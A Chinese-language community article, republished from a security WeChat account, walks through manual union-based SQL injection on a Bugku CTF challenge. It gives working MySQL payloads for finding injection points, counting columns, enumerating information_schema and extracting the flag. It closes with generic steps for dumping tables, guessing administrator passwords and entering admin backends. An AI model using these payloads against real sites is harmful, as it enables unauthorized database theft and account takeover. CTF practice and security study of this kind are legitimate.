前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL手工注入攻击实操详细步骤

SQL手工注入攻击实操详细步骤

作者头像
网络安全自修室
发布2022-01-24 08:54:11
1.5K0
发布2022-01-24 08:54:11
举报
文章被收录于专栏:网络安全自修室

1免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2内容速览

以bugkuctf平台的一道题目:成绩查询(https://ctf.bugku.com/challenges/detail/id/84.html) 为例,如果链接失效,可以在bugkuctf平台在线生成环境场景

0)首先测试正常数据。 链接的结尾添加【?id=1(数字任意)

1) 判断是否存在注入点;

【?id=32(数字任意)】链接的结尾依次添加语句【‘】、【and 1=1】和【and 1=2】,来判断网站是否存在注入点。尝试在正常数据后加上单引号,发现数据为空,加上注释符(注释符:#,–+ , //, – )后发现依旧可以正常输出,存在注入点。

看是否报错,如果数据库报错,说明后台数据库处理了我们输入的数据,那么有可能存在注入点。

2) 判断字段长度;

在链接后面添加语句【 order by 11 (数字任意)】,根据页面返回结果,来判断站点中的字段数目。

该题中已经有四处回显(名字和3科分数),所以就猜4和5,得知查询结果中有四列

3)判断字段回显位置;

在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11#】进行联合查询(联合查询时记得把前面的查询为空)来暴露可查询的字段号。

该题四处都有回显

3) 判断数据库信息;

利用内置函数暴数据库信息

version()版本;

database()数据库;

user()用户;

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version()

and 1=2 union all select database()

and 1=2 union all select user()

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user

数据库权限:

and ord(mid(user(),1,1))=114 返回正常说明为root

4) 查找数据库名;

Mysql 5 以上有内置库 information_schema

存储着mysql的所有数据库和表结构信息union select information_schema from information_schema.schemata (语句在显示位)

该题看一下数据库信息,库名为skctf_flag

  1. 查找数据库表名;
代码语言:javascript
复制
union select group_concat(table_name) from information_schema.tables where table_schema=database()

该题语句为【-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#】

得知表名为fl4g

6) 查找列名

代码语言:javascript
复制
【-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),3,4#】

7)知道表名知道列名,获取数据

代码语言:javascript
复制
-1' union select 1,(select skctf_flag from fl4g),3,4#

得出flag

接下来可以做:

8) 查找数据库表中所有字段以及字段值;

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

9) 猜解账号密码;

10) 登陆管理员后台。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-01-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档